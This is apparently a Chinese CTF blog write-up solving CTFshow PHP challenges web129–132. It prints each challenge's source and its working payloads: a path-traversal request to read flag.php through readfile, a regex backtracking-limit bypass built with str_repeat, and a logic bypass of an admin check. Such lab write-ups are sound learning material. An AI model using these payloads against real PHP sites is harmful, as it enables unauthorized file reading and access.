CTFshow web(php特性129-132)

                                                                web129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

知识点:

PHP readfile() 函数

PHP Filesystem 函数

定义和用法

readfile() 函数输出一个文件。

该函数读入一个文件并写入到输出缓冲。

若成功,则返回从文件中读入的字节数。若失败,则返回 false。您可以通过 @readfile() 形式调用该函数,来隐藏错误信息。

语法

readfile(filename,include_path,context)
参数描述
filename必需。规定要读取的文件。
include_path可选。如果也想在 include_path 中搜索文件,可以使用该参数并将其设为 true。
context可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。

PHP stripos() 函数

PHP String 函数

实例

查找 "php" 在字符串中第一次出现的位置:

<?php
echo stripos("You love php, I love php too!","PHP");
?>

输出:9

payload:?f=/ctfshow/../../../../var/www/html/flag.php


                                                                        web130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

这道题目没啥好说的,直接

?f=ctfshow拿下了

因为if(stripos($f, 'ctfshow') === FALSE){这里肯定要等于ctfshow啊,不然怎么匹配到呢,既然匹配到了,那就是true就进行了绕过

                                                                web131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

知识点:

正则表达式溢出

正则表达式溢出是由于在匹配特定的输入模式时,正则表达式引擎发生了异常行为或反应迟缓。例如下面的正则表达式可能导致溢出:

^(a+)+$

这里直接:

#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK

其实题目已经告诉你答案了。

                                                                        web132

逆天界面,不过见到这种大致就两步走:

1.ctrl+U查看有没有提示

2.御剑扫描

这里也是扫出来了robots.txt然后访问/admin

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

解析:

 有没有发现啊,$code === mt_rand(1,0x36D)这里完全的随机数,

所以直接让他报错,我满足后面的就好了 if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

直接code=admin

payload:?password=flag&username=admin&code=admin

真心希望我的文章能够帮助大家,谢谢!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值